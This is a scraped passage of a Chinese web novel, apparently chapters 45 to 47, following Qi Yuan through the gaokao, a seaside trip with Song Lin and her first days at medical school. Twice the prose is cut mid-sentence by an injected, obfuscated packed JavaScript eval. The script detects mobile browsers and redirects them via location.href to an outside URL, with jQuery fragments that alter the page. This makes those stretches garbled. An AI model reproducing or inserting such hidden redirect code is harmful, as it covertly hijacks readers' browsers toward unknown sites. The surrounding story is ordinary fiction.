祁缘缓缓呼出一口气,把袋子里的文具和准考证都取出来放到桌面上。无所事事时,等待的时间总是最漫长的。在最后一道铃声响起的时候,祁缘和所有学生统一拿起笔,同时趴在桌子上奋笔疾书。 这一刻,所有的努力都有了回报, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120731|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做过的题型一道又一道,眼前的题目她总是解答的如鱼得水。 当心中有了目标,那些所有你曾经认为可望而不可即的梦想,都会变得易如反掌。 那是努力和回报做出的约定。 祁缘翻到语文卷纸的最后一页,不是她押过的题目,这是一遍以青春为题的议论文。 她一时间竟不知道该如何下笔。 她的青春…… 明明是真实的经历,却怎么写怎么像是在卖惨。 她抬起头,望向四周,别人也已经写到作文了,唯独和她不一样的一点,是他们写下的不只有题目,还有他们热烈的青春。 有的人扬起唇角,他们这个年纪想的不多,让他们发自内心笑起来的无非就是梦想得到实现,亦或者是暗恋修成正果。 祁缘想着,终于落笔。 她写的是关于希望的。 她希望,她的人生有希望。 …… 铃声大响,最后一门考试落下帷幕,所有人即刻停笔,这意味着他们的高中生涯在这里结束,从此天光大亮,前途风光。 祁缘盖上笔盖,开始收拾东西,暖风从窗户进来拂过她的脸,温暖又柔软。 她开始期待以后的生活了。 走出考场,宋嶙在操场的花坛处等她,祁缘走近,他揉了揉她的脑袋:“怎么样?” “我觉得没问题。”她鲜少这么自信,或许是想着考完就解放了,于是今天的题目答的格外顺利。 他笑:“我就知道你最厉害了。” 出了校门,家长们蜂拥而上,母亲多一些,手上捧花,身穿裙子,旗袍居多。 “爸呢?不是说过来接吗?怎么没见着他人影?”宋嶙个子高,怀里拥护着祁缘,眼睛在黑压压的头顶上扫视着。 “估计有事吧。”祁缘往他怀里缩了缩,刚才不知道是哪个大妈,在人群里横冲直撞,直接在她的白布鞋上留下了一道黑脚印。 她皱起眉,回去又要刷鞋了。 “我看见了,在最后边呢!”说完,宋嶙揽着她的肩膀,拨开人群,朝最后面走去。 宋健本来也在找他们,一看见宋嶙朝这边过来了他也就不动了,等两人到跟前了,他才笑着把怀里抱着的花递给他们。 宋健买了两种,给祁缘的是绣球,寓意前程似锦;给宋嶙的是大飞燕,寓意自由自在。 “小缘考得怎么样啊?”宋健笑问。 “还可以。”祁缘也笑了,这花可真好看。 “你要说可以,那肯定是拿捏了。” 宋健笑声敞亮,他和宋嶙一样,不管她说什么,他们都会无条件相信她。 “爸,人家都往前迎,你怎么还往后退啊?”宋嶙嘀咕道,低头摆弄着怀里的花,想着怎么拿着才能衬托的他更帅气一点。 宋健拍了拍胸脯:“我堂堂男子汉,怎么能跟女人一起往前挤呢?那不显得我有失风度吗?” 宋嶙选择毫不留情地拆穿:“你就说你不想往里挤得了。” “这话让你说的,来,让我听听我儿子考的怎么样?” “还行。” 宋健一愣:“那是有多差?” “爸!” 45. 第 45 章 高考结束了,宋嶙窝在沙发上看旅游攻略,他在找去哪儿玩比较好。 祁缘在旁边坐着撸狗,给托马斯喂零食,她现在不太关心这件事,成绩还没下来,她心里不踏实。 这段时间宋健陪他们备考都没怎么出摊,今天去了一上午就回来了,他推门进来,手里还提了个小袋子。 “干嘛呢?你们两个。”他换好拖鞋,朝这边走过来。 “我在看旅游攻略呢,让她找她也不找,我也不知道去哪里好啊。”宋嶙都扒拉累了,放下手机打了个哈欠,他找了半天,每找到一个想去的景点还没等细看就会发现槽点,他都不知道还有哪里可以去了。 “行,你多看看吧,找着个喜欢的你俩就赶紧去,整天窝在家里给你们都闷坏了。”宋健说着,弯腰,把袋子递给祁缘。 “拆开看看。” 给她的?祁缘放下手里的零食,把袋子接过来,摸上去硬硬的,不是吃的,闻着没味道。 手顺着袋子口伸进去,她有点好奇,直到摸出来一个小盒子。 那是一个手机盒。 祁缘的震惊写在脸上:“这是……” 宋健轻轻拍了拍她的肩膀:“我其实早都想给你买了,可是你那时候天天光顾着学习也没时间碰,放着也是放着,但现在不一样了,小姑娘都高中毕业了,怎么能没有手机呢?这就算是宋叔叔送给你的毕业礼物吧。” 祁缘听着,半天才反应过来,她把盒子重新装回袋子里,扭头还给宋健:“不行,这太贵重了,我不能要。” 他们对她已经够好了,人情债最难还,再这么下去,她就要还不清了。 “都一家人你干嘛这么见外?还提贵重,赶紧收着得了。”宋嶙倒是不以为意,看来宋健给她买手机这事是他们事先就已经商量好的。 祁缘还是摇头:“这我真不能要。” 宋健笑了笑,把盒子拆开,拿出里面的手机,在她眼前晃了晃:“我就知道你会这么说,所以我直接激活了,电话卡和流量卡都插上了,这下你不要也没办法了。” 原来这世上总有人会为了送你礼物而费尽心思。祁缘拿在手上,胳膊都在颤抖。 她唇角勾起一抹笑意:“谢谢,谢谢宋叔叔。” “唉,这有啥的。”宋健摸了摸她的脑袋,看向她的眼神满是慈爱,他要是真有一个这么乖的女儿,该多好。 “对了,你们打算什么时候出去玩儿?” 宋嶙说:“我觉得明天就行,我刚看到一个海边的,看上去还不错。” “要不还是过几天吧?”祁缘心里还惦记着成绩的事。 宋嶙一听,难怪她一直对旅游的事不闻不问的,他顿时知道怎么回事了:“奖学金能得就得,得不了我和我爸养你,你没必要一直把这事放心上,该玩时候就得玩。” “什么奖学金?”宋健还不知道这回事。 祁缘想让宋嶙闭嘴,可是已经来不及了。 “就是我们学校新搞了个高考竞赛,成绩下来学校前十都有奖学金拿,排名越靠前,拿的钱也就越多。”宋嶙从沙发上下来,一屁股坐到地毯上,“她都在咱家生活一年了,还把自己当外人呢,你看她学的这么狠,不就是这么一回事吗?” “宋嶙!”祁缘不想他再说了。 不出意外,宋健不乐意了,他咬着唇上的干皮,想了想,当下做了决定。 “你们还是明天就出去旅游吧,别在家待着了,出去散散心也挺好的,省的天天焦虑那些有的没的。” 他转身回了卧室,从床头柜里拿出来一张银行卡,放在他们面前:“这里的钱本来也是要给你们做旅游基金的,祁缘,你要是还拿叔叔当回事就跟着宋嶙花这张卡,不多,但肯定够你们玩一阵子的了。” “对不起宋叔叔,我不是那个意思……”她想解释,但思来想去,她确确实实没有别的理由了。 “这下知道对不起我了啊?”宋健故意不看她,继续说:“如果你这个小白眼儿狼还想弥补我的话,那你现在就乖乖去收拾行李然后明天高高兴兴出去旅游,哄好我可就只有这一个办法。” 说完宋健就走了,他明白,要是他跟她好说歹说她肯定不听,想管用就得用这一招。 果不其然,不一会儿他就听见门外有拖鞋来回踱步的声音,宋嶙从门缝挤进来,对他竖起一个大拇指。 “爸,还是你有一手!” 宋健甩甩手:“去去去,你去看着她去。” “嗯,现在就去。” 最后他们决定去北海看海。 临行前祁缘一直问宋健要不要去,他说没有空,自己还要出摊。 祁缘心中难掩失落,但上车就好了,她长这么大还没出来旅游过,一路上看看这看看那,不一会儿就把宋健抛在脑后了。 宋嶙笑她:“在家还嚷嚷着不来,一上车就跟多动症似的,你可真是好兴致。” “难道我要一直愁眉苦脸对着你你才好受吗?”说完,她翻着白眼,嘴巴一撅,凑过来,对他做了个鬼脸。 他一只大手就能覆盖她全脸:“傻。” 不知道坐了多久的高铁,祁缘没了最开始的兴奋劲儿,她坐的屁股都酸了,时不时就要站起来活动一下。 跟她一比,宋嶙倒是坐的稳当,祁缘怎么也没想到,这一刻两人的性格像是被一双无形的大手给掉包了,一反常态,像极了对方平时在自己眼里的样子。 可能是在一起待久了。 因为高铁坐的是最早那一趟,他们终于在下午的时候下车了。 祁缘举起双手,吹着迎面吹来的缕缕风丝,她十分享受地闭上眼:“舒服。” 宋嶙嗤她,从口袋里拿出手机:“我先给爸报个平安。” 宋健似乎一直再等他们的消息,他刚发出去就得到回应了。 宋健说:注意安全,好不容易出去一趟,别省钱,敞开玩。 宋嶙发了个“OK”的表情,刚想把手机揣回兜里,又来了个消息提示。 还是宋健的嘱托:把祁缘看住了,现在偷小孩的不少呢。 “……”祁缘看完,一时语塞。 宋嶙哼笑一声,回复:放心,我指定给她扔了。 那边立马弹来语音:“臭小子,你要给她丢了那你也别回来了。” 宋嶙瞪大眼睛,指着手机:“你瞅瞅,一整就动怒。” 祁缘凑过来:“那你把我看住就好了呀。” 宋嶙拿手挡住她的脸,给她往旁边推:“谁看你?爱哪哪去。” “……” 两人先去了酒店,把一切都安顿好了以后才出来,这里离海边有点远,去海边要打车。 出租车司机透过后视镜打量起两人,笑了笑:“你们俩谁想着来这儿玩的,眼光还挺好。” “肯定是我啊。”宋嶙自豪地说。 司机一听,更乐了:“你想的啊?哎呦这小姑娘可享福喽,现在小情侣出门大多数都是女生做攻略,难得遇见这么上心的男朋友。” 两人对视一眼,祁缘脸上的红“唰”一下蔓延到了耳根:“没有,我们不是……” 她以为宋嶙会接话,没想到他就那么靠着椅背,一个字也没说,就看着她发挥。 “哈哈哈,小姑娘还腼腆上了……” 祁缘:“……” 到达目的地,祁缘先下了车,宋嶙从兜里摸出几张零钱,司机接过来,打趣道:“这小姑娘长的不错,你这小伙子可得好好把握啊。” 他开出租车开了咋说也得有十年了,还是头一次见着长的这么般配的。宋嶙点头:“知道了叔,祝你今后生意兴隆。” “这小嘴儿也太甜了,那叔叔也祝你俩百年好合!” “感谢。”说完宋嶙甩上车门,眼底含笑,他现在心情很好。 海天交融,水天一色。 这是祁缘第一次看海。 现在这个时间沙滩上有好多人,什么年龄段的都有,年轻的女性居多,大多穿着比基尼那种很露的衣服,看上去身材很好,个个黑发红唇,散发出来的气质明媚又张扬。 这个年纪的她们不再是什么都不懂的小孩儿了,祁缘似乎感觉到了危机感,她低头看了眼自己的穿搭,就是一件平平无奇的碎花裙。跟她们相比,她简直土爆了。 她咬着唇,抬头去看宋嶙的反应。 她以为身边有这么多美女他会高兴的左顾右盼,然而恰恰相反,他好像并不在意这些,眼珠连转都没转,一直在盯着旁边的餐车。 “……” 宋嶙 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“你喜欢啊?”他问。 “喜欢。”祁缘爱不释手地捧着,结果仔细一看纹路上好像粘着脏东西。她用指腹擦了下,擦不掉,下一秒手上一空,贝壳被宋嶙拿了去,他弯起腿,蹲到海边冲洗。 半晌,他把脸埋在胳膊肘窝里,笑个不停:“要我说咱俩眼神儿都不好,这哪是泥?这不是它本身带的吗?” “啊?”祁缘凑过去一看,还真是。 绷不住了。 “我真服了。”她真是又气又想笑,好不容易才捡到一个,还长的不好看。 “咋整?扔了啊?”宋嶙比划一个投球的动作,祁缘见状立马扯他的胳膊:“别啊,扔了干嘛?我还要留着呢。” 宋嶙很意外:“丑也要啊?” 他还以为她会说扔远点,没想到是自己把她想肤浅了。 “要啊。”祁缘接过来,宝贝着,这可是他们一起捡的。 落日余晖洒在她头上,散发着一种柔和的光,宋嶙眨眼睛,低头拿手机。 “过来,给你拍点照片。” 祁缘几乎是瞬间想到他那张脸在视频里的样子,她疯狂抗拒:“不要,我不拍。” 全是死亡视角,她不得丑死。 “为什么?” 她毫不留情地指出:“你拍的丑。” 宋嶙:“……” 居然被嫌弃了。他凑过来,抓住她的脖颈,力道不大,但她就是动弹不得。祁缘挣扎累了,说:“就拍一张。” “……行。” 宋嶙往后退了两步,果然是直男拍摄法,就那么直不楞登的站着,一点儿角度都不会找,祁缘对着镜头比了个耶,虽然看上去笑的蛮开心的,但其实她的心已经死了一阵了。 拍好了,宋嶙欣赏着自己的“大作”,把屏幕转过来,给她看。 “是不是还挺可爱的?” 祁缘光是撇了一眼就开始咬牙,她第一次感觉自己长的这么可恨。 要说最可恨的还是那个拍摄的人。 她捏着眉心,结果这件事还没结束,宋嶙又提议两人拍个合照。 祁缘这次是真受不了了:“不拍了,你拍的实在是太丑了。” “那给你拍,”宋嶙把手机给她,说:“咱俩总得有张合照吧?” 这么一想,好像也是。 他们好像只拍过那一次合照,还是全班人一起拍的。 祁缘答应了,手机接过来,摆弄起被风吹乱的头发,希望自己能上镜一点儿。 她举起手机,结果发现两人连最基本的同框都做不到,祁缘掐着腰,不满意了:“你就不能蹲下来点儿吗?” “啊,行。”宋嶙乖乖俯下身子,用手撑着膝盖,镜头里两人的脸贴在一起,同时笑起来,看上去格外亲昵。 少年的张扬,少女的温柔,快门按下的那一刻,照片定格在了这一瞬间。 还得是女生拍照,好看不说,还有种别样的温度。 其余的时间宋嶙一直盯着手机傻乐,也没心情看海了。 有人比海更好看。 46. 第 46 章 高考成绩下来了,祁缘总分690,学校排名第二,奖学金拿到了五千元。 宋嶙考得也不错,以他的分数可以上一个三本警校。宋健几乎是喜极而泣,他从来没想过自己儿子能这么有出息。 同样这么欣慰的还有何浩楠的父母,何浩楠和宋嶙考到一个学校去了,还是同专业,他是卡着分数线进去的。他父母是真没想到,没想到自己家孩子还有大学上。 而且还是本科。 “我哪有那么差劲?”何浩楠这次属于是超常发挥,他考好了,开始自满了。 何父现在什么都依着他:“对对对,我儿子最厉害了,爸明天就去给你买你看中那个手柄。” “这还差不多。” 后面录取通知书也陆陆续续下来了,祁缘如愿进了一所很不错的医学院,就是离家有点远,回来一次很不方便。 而且医学生很累,课表都是满的,甚至周末都没有什么休息时间,祁缘要想回来一次,估计只有寒暑假了。 说实话,宋健和宋嶙一点儿也不想让她报那个学校,可她执意要去,他们也拿她没办法,只能妥协支持。 开学季到了,宋嶙的警校要比祁缘的医学院早开学一个星期,送行的宋健和祁缘很是不舍,他们从没分别过这么长时间。 “你说你俩,报个学校都报那么远的,一个警察一个医生,那么累的专业也不知道你俩图的是啥。” 高铁站外,宋健靠着墙叹气。 “这整的好像我俩把你抛弃了似的。”宋嶙皮笑肉不笑的样子,看上去比哭的还难看。 “那不就是吗?都走了我咋整?” 宋嶙走过去,揽住宋健的肩膀,开导他:“爸,你要这么想啊,赶明个你要是有个小病小灾的,阿缘给你看病你是不是更放心一点儿?” 宋健看起来很认真地想了想,同意这个说法:“嗯,这倒是。那你这专业呢?” “我这专业就更不错了!到时候你要搁外边杀个人放个火的,我去抓你,你这好爸爸是不是就当给儿子铺路了?” 宋健气笑了,转身就要踢他:“都要走了还搁这扯淡,能不能盼你爸点儿好?” 宋嶙面对这种事情很会举一反三:“我都要走了你还踢我?” “踢的就是你。” 别人送行都是哭哭啼啼,只有他们家,一大一小还在这里顶嘴玩儿。进站前,宋嶙摸了摸祁缘的头,小姑娘一直在旁边安静站着,从头到尾都没说话。 他在她脸上捏了一把:“等啥时候有空我去你学校转转,你可别把我领丢了。” “哦。” 祁缘垂着头,不看他。她有太多话想跟他说,结果统统卡在嗓子眼儿里,一句话也没说出来。 那句“抬头,让我看看你”刚要说出口,宋嶙感觉到自己停在她脸上的手突然湿润了,他怔住片刻,反手用手背帮她抹去。 宋嶙没拆穿她,一步一步向后退,冲他们摆手:“行了,我进站了,这大热天的你们就别搁这晒着了,赶紧回去吧。” 宋健唇紧抿着:“嗯,注意安全,有事儿给爸打电话啊。” “知道了。” 广播开始喊了,远处的何浩楠见宋嶙都进去了,他甩甩手,提着行李箱做好了冲进去的准备。 “你们也赶紧回去吧,我这不用惦记。” 何父抬了抬下巴:“行行,赶紧走吧,你走了省的惹你妈生气了。” 何母听见,拍了一下他的肩膀:“就好像你平时惹的少似的。” 话虽这么说,但临行前三人还是紧紧拥抱在一起,毕竟他们永远是一家人。 离别总是难过的,留给亲人的只有渐行渐远的背影。告别的话说了很多,却唯独没人说出那句沉重的再见。 祁缘也快走了,她在屋里收拾行李,宋健在外面敲门,得到同意后他才进来。 自从祁缘来到这个家以后她就一直在他眼皮子底下生活,冷不丁这么一走,他面对这个场景还挺不舍的。宋健坐在椅子上,把一张卡放到旁边的床头柜上。 祁缘的视线被吸引过去,她认出来了,那是外公外婆留下的银行卡。 一阵沉默无声后,宋健率先开口:“这卡你一会儿记得收起来,这是你第一次走那么远的路,去那么远的地方上学,说实话叔叔还挺不放心你的。” 他轻声说着,语气里透露出淡淡的忧伤:“唉,这上学没办法,再怎么不放心也得放你走。突然间换了个环境肯定要不习惯,到那边人生地不熟的,要是有什么事可得第一时间告诉我啊,或者你告诉宋嶙,让他过去帮你处理,反正告诉谁都行,就是不行自己挺。” “这卡里的钱我没动,当时查了一下还有十万,然后叔叔又给你往里打了点,到那边可别委屈自己啊,想吃啥就买点啥,别舍不得花钱,没钱了就找我拿,叔叔每天出摊赚钱就是给你和宋嶙花的……” 宋健怎么也没想到,自己一个大老爷们儿有一天居然会变得婆婆妈妈的,也不知道她会不会嫌烦,烦不烦他也得说。 祁缘安静地听着,当时外公外婆火化之类的那些事都是宋健帮忙善后的,还有她的学费,算起来杂七杂八不少钱,原来都是宋健自己出的。 她突然鼻尖一酸,眼泪在眼眶里疯狂打转儿:“您为什么不用卡里的钱?” “我用卡里钱干嘛?这钱是给你留着的。” 宋健回答的理所当然,好像花的那些钱就是他本身应该承担的义务一样。 他看向她的眼睛,泪眼婆娑的样子看上去很是委屈,宋健急忙给她找纸巾擦脸:“哭啥呀?都这么大姑娘了还哭,你……” “爸爸。”祁缘红着眼睛叫他。 宋健怔住,一时没反应过来:“你……刚才叫我什么?” 她吸了吸鼻子,抹掉眼角的泪,冲他张开双臂。 “我说,爸爸。” “宋爸爸。” 祁缘再一次肯定地说,她忍不住了,他对她的爱早就冲破她心中建起那道防线了,她没有任何理由再拒绝这份爱了。 遇见他们是她的荣幸。 宋健虽然早已把她当成自己的女儿,可他却从没想过有一天她会接纳他,让她叫自己爸爸。他当时只觉得他必须得对她好,让她在爱里长大,做完这些,就够了。 可现在,他像个贪心的孩子。 宋健激动的浑身颤抖,他小心翼翼地抱住她:“哎,好孩子,好闺女……” 他都半截身子入土的人了,想不到有生之年还能再有个闺女。宋健红了眼,突然起身往外走。 祁缘不知道他想干什么,她就在后面默默跟着他。 只见宋健匆忙进了卧室,拿起床头柜上摆着的照片,祁缘眯起眼,那是他和他妻子的婚纱照。 妻子去世这么多年宋健都没想过再建家庭,他还真是痴情,就一直保留着她的照片,没泛黄也没折旧,照片上的女人笑的很开心,大概是因为她嫁给了真爱。 他向祁缘指着:“看见没有?就是这小孩儿,她刚才管我叫爸爸,我有女儿了。” 宋健越说越开心:“这是不是你在天上瞅我可怜,特意送给我的礼物啊?那我就收下了,说实话这礼物我可太喜欢了,她可乖了,长的还好看,可招人得意了……” 他说个不停,那份喜悦感她没在别人眼里见过,有种小孩子的纯真。 原来她在祁建强眼里那么不堪的一个人,在别人眼里她也可以是个宝贝。 她从小缺少父爱,但还好,上天选择了用另一种方式让她拥有。 …… 祁缘走了,踏上离家的列车,去了两千公里以外的地方上学。 行李是事先邮寄过来的,她只拖了个行李箱。下高铁后给宋健和宋嶙各发了个信息报平安,她就下台阶拦出租车去了。 很明显她下来的有些早了,这趟列车下车的人太多了,人乌泱乌泱的往前挤,祁缘个子小,又拖着箱子,一直等到最后快没人了才坐上车。 刚来这儿就不如意了,她以前是不会轻易萌生出这种想法的,她这才明白这段时间宋健和宋嶙把她保护的到底有多好。 兜兜转转,终于到了。司机师傅帮忙把她的行李拿下来,祁缘由衷地说了声谢谢。 烈阳当空,今天闷热闷热的,一点风丝都没有,和北城的温度差了将近十度。汗水早已浸湿了她额前的刘海,祁缘一边推箱子一边用手扇风,格子外套没地方放,被她随意系在腰上。 进了校门就好了,帮忙抬行李的学长学姐都在门口等着,站成一排,身上都戴着志愿者标识。祁缘刚进门就有人过来了,一个男生,特别自然地接过她手上的行李箱。 她这会儿也累了,没和他客气,说了声谢谢。 男生笑着说了句“这有什么的”,然后就开始跟她套近乎: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144740|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “同学,你哪个专业的?” 祁缘被太阳刺的眯了眯眼:“临床医学。” “呦呵,歪打正着,我也是这个专业的,这么说来我还是你直系学长呢!” 激动的同时他拿出口袋里的手机,打开微信页面,找了个二维码出来。他拿给她看:“加个微信吧,你这初来乍到的肯定有很多不懂的,正好可以问问我。” 祁缘怔住,从见面开始一共没说上两句话,怎么突然就到加微信的环节了?她其实不怎么想加,但出于礼貌还是答应了。 “……行吧。” 看到发过来的好友申请,男生弯唇一笑,直接点了通过:“给个备注呗。” “祁缘。” “这么好听的名字啊?感觉这个寓意很美好,我猜你父母应该挺爱你的吧……”他嘴说个不停,性格这方面看上去和宋嶙有点像。 “那样吧。”祁缘简单回应了一句,别的没说,她想让自己在陌生人面前活的体面一点。 “唉,你别这么说,其实家长都是为我们好……” 像上了年纪的老人,唠唠叨叨一直说,祁缘要是早知道他这样她肯定要换个人帮忙拿,但她现在也不好说什么,毕竟他也不知道她家的事,左耳朵进右耳朵出就好了。 终于到宿舍楼下了,他一个男生也不好意思进,这才走了。祁缘自己把东西搬上楼,找到宿舍401,推门进去。 没想到她们宿舍就她没来了,屋内的三个女生都在收拾东西,床单被罩都已经铺好了,见她进来,笑着打了声招呼。 “你好啊新同学,你叫什么名字啊?”她们放下手里的活儿,转眼间都凑了过来。 “你们好,我叫祁缘。”她微笑道,抬手把行李箱放到了一个不碍事的地方,然后坐在自己床位上歇气。 “这名字真不错呢!我叫江阳,她叫白玉,那个叫李晴川,以后咱们四个就是一个小整体啦!一会儿要不要一起去吃饭?” “对呀对呀,我来之前就做了医大的攻略,附近好几条街都是专门卖小吃的呢!”白玉激动地说。 第一天报道事多,祁缘想了想,拒绝了:“那些杂七杂八的事我还什么都没做呢,而且现在一身汗,我一会儿得先去洗个衣服。” 其实她说完那一瞬间就有点后悔了,网上说要跟室友打好关系,毕竟要相处四年呢,结果人家第一次邀请她她就拒绝了,她们背地里会不会觉得她很装? 没想到根本没人计较,也没人觉得她说这话扫兴,李晴川甩甩手:“没事儿啊,我们等你事全都办完了再去,就早一会儿晚一会儿的事嘛,第一顿饭肯定是要咱们大家一起吃的。” “对对对,这怎么可能不带你呢?” 见她们这么热情,祁缘笑了:“行,那我争取快点。” 她起身开始收拾床铺,兜里的手机突然响了,是微信的提示音。祁缘紧着把手机拿出来,以为是宋健或者宋嶙发来的消息,结果都不是。 是刚才那个男生:刚才说了那么多都忘了跟你自我介绍了,我叫段瑞,大二临床医学专业的,有事找我就好。 祁缘看完,回复:好的。 她们看她这情绪转变的太快,江阳猜测:“怎么?以为是男朋友发来的消息结果是没用的消息通知?” 有种被戳中心事的感觉,祁缘迅速扭过头去,躲避跟她们的对视:“没有,我没有男朋友。” 白玉惊呼:“你长这么好看没有男朋友啊?” 祁缘摇头,从行李箱里找出来件干净的衣服,说:“我先去洗衣服了啊。” “行,去吧。” 她抱着盆往水房走,都快到了才想起来她还没有买洗衣液。家里的洗衣液都是倒在瓶子里的她也没见过原包装,干脆折返回去拿手机,她想问问宋健家里用的那个洗衣液是什么牌子的。 宋健:干嘛一定要用家里买的那个? 祁缘:想家了,那个洗衣液有家的味道。 宋健笑了笑,片刻后给她弹过来个语音。 “那这个事儿你得去问宋嶙,他觉得你这女生的衣服应该单独洗,所以你的衣服都是他手洗的。然后你说那个洗衣液也都是他买的,我还真没问过是什么牌子。” 祁缘蓦地怔住,难怪她每次把衣服扔洗衣机里都没听到动静,她还一直以为是洗衣机的静音效果好。 原来他把她照顾的远比她想象的要好的多。 47. 第 47 章 军训完就算正式进入大学生活了,不怪人们总说“劝人学医天打雷劈”,课程都排的满满当当的,祁缘一天天忙的脚打后脑勺,上课上的她头疼。 最难过的是她在这边没有亲人,有时候碰上上午或者下午没课,有些本地的就能回家转悠一圈儿再回来,她就不行,闲下来也只能往宿舍一待,实在待不住了就跟舍友出校门在附近溜达溜达。 她平时和宋嶙打电话的次数也是屈指可数,每次打通还没聊上几句,不是她有事就是他有事,几乎没有一次是他们主动结束的,都是被迫挂断的。 祁缘有时候真的在想,她来这里上学是不是错的。 每每想到这里,她糟糕的心情更是一落千丈。 不管什么时候回宿舍,楼底下永远站着男男女女,有的已经谈上了,有的还在暧昧中。祁缘每次路过看见他们这样都要加快脚步,她看不得这样的场景,或许是最重要的人不在身边,走进她心里的人不在眼前。 这种酸涩的情感在心中蔓延了许久,终于在两个月后才开始渐渐淡化。 路是她自己选的,就算是咬牙她也要走完。 起初祁缘和室友都想着好好学习,但是这大一的课程枯燥又无聊,除了她以外,其他三个陆陆续续产生了点别的想法。 江阳靠在靠椅上吃着薯片,脚搭着桌子,一晃一晃的,眼前的iPad放着最新上映的电视剧,但她还是不满足。 她撅着嘴:“姐妹们,我突然想谈恋爱了。” 白玉正在给她男朋友做手工,听见这话把手里的活儿放下,搬着凳子就过来了。她扶了下眼镜:“行啊,我支持你。” 江阳把薯片递给她,跟她打听:“说真的,我还挺羡慕你的,才刚上大学多久你就谈到了。” “哎呀,这玩意儿因人而异吧,谁叫他瞎了眼就相中我了呢?”白玉咬了口薯片,脸上美滋滋的。 李晴川在上铺打游戏,耳机一摘,反驳道:“有魅力就说有魅力,往自己身上泼脏水干嘛?还瞎了眼,这是什么话?你又不丑。” 被夸了,白玉笑眯眯:“还是你眼光好。” “唉,”江阳半阖着眼,一脸生无可恋的表情:“川子我也羡慕,人家处对象从高一就开始处,兴趣爱好都相同,现在感情还这么好。倒是我,估计要孤寡一辈子了。” 白玉说:“别这么丧嘛,你的真命天子在路上呢。你看缘缘也没谈,她就不想那么多。” 江阳被她这么一提醒眼里总算有点光,整个人坐起来,趴椅背上打听:“对啊,缘缘,你整天泡在课本里有意思吗?平时都不见你跟我们吐槽什么。” 祁缘正在埋头做笔记,她想把书上记的那些总结到本子上,听见话题聊到她身上了,她把笔一撂,揉了揉眼睛:“我没什么好吐槽的呀,你多学学习就好了,省的整天想这想那的。” 江阳就知道她会这么说:“那东西干巴巴的我是一点也学不进去,真佩服你,也不觉得枯燥,这题海哪有谈恋爱好玩儿啊?” 她每次聊八卦都要换好几个姿势,这会儿又换一个:“话说回来,你就一点想谈恋爱的想法都没有吗?” 她们都不止一次看见了,那个大二的学长总是有事没事过来找祁缘,想约饭还不直说,找的理由总是很拙劣。 一看就对她有意思,偏偏某人还不开窍。 祁缘也没回避,看似认真的想了想:“有吧,大家都是成年人了,就算我说我没有想法你们也不会信吧。” “我去,你真有想法了啊?”江阳一激动差点从凳子上摔下去,还好白玉把她扶住了。她突然有点难过:“老天爷呀我这是造了什么孽啊?过几天你又跟那个段瑞谈上了,整个宿舍可真就只剩我自己孤寡了。” 祁缘忍不住皱眉:“你在说什么呢?我为什么要跟段瑞谈啊?” “你不是说你有想法了吗?” “有想法那个人也不会是他啊!” 白玉:“平时不就他来找你吗?你也没接触过别的男生啊。” 祁缘笑了:“又不是只有大学里才会有男生,高中不也有吗?” “这么说你喜欢的那个人是高中时候的?” “对啊,他现在在警校呢。” “……”这下李晴川也从上铺下来了,这对她们来说可是个大瓜。 三个人全都往她眼前一坐,祁缘懵了,眼珠转了又转,防备得很:“你们要干嘛?” 白玉打量一番后开始搓下巴:“看不出来呀,你小子,藏的还挺深。” 祁缘摇头:“我没藏啊。” “那你不说。” “你又没问。” “……”白玉委屈:“还怪到我头上来了。” “那你怎么不表白?” 江阳这话算是问到关键点了,祁缘愣了两秒,语气平淡:“他好像拿我当妹妹呢。” “啊这……”李晴川捏了捏眉心,就这种情况最难搞,想当初她和他对象也是这样的,人家就把她当妹妹,他俩能处到现在全靠她的死皮赖脸。 然而这招对于她来说还行,她性格就是那种大大咧咧的类型,谈的上就谈,谈不上拉倒,她这种人拿得起放得下。但要是让祁缘这么整一回,如果那人不答应,她估计以后都没脸见他了。 这下可全都犯难了。空气安静了一会儿,白玉提议:“要不你给他发个消息试探一下?” “怎么试?” 江阳瞬间来了主意:“你们是不是每天都在微信上聊天啊?” 祁缘点头,他们虽然隔好几天打一次电话,但微信消息倒是一直联系着。 “那就好办了,你现在跟他说你明天要和学长去图书馆学习,晚上回来再找他聊天。” “这还真是个好办法。”李晴川肯定地点头,这种方式表达的意图明显而且不尴尬,对于她来说最适合不过了。 “那就按你们说的来吧。” 管不了那么多了,祁缘这次是真的下定决心了,她想勇敢一回,眼神也变得坚定,反正打电话的时候她是没听出来有什么异常。 “行,到时候我们给你参谋参谋。反正现在也没意思,要不你给我们讲讲你俩之间的故事吧?” “正愁没话题呢,我最爱听这种事了!” 江阳说完,走过去把她的书本全都扒拉到一边,白玉和李晴川负责粘着她,一人攀着一条胳膊,看来她们仨今天是做好了缠着她的准备了。祁缘挣扎半天无果,没辙了,笑笑:“行吧,但是你们得先放开我我才能说呀。” “好好好,你俩快放开她。” 江阳重新拆开一袋薯片,这次是大包的,她给每个人手上都倒了些,又给她们一人发了一瓶果汁,甚至把她的零食箱子都抱过来了,让她们随便吃。 她真是下了血本了。白玉抱拳:“江老板大气。” 与此同时,警校的某一间男生宿舍里也是同样的热闹非凡。 个个眼前摆着个笔记本,键盘被他们按的噼里啪啦响,桌上宋嶙给他们带回来的饭都凉了,他们还没打完这一局。 过了大概五分钟,何浩楠摘下耳机,手指一点一点的指着他们:“能不能有点儿实力啊?个个被我吊着打。” 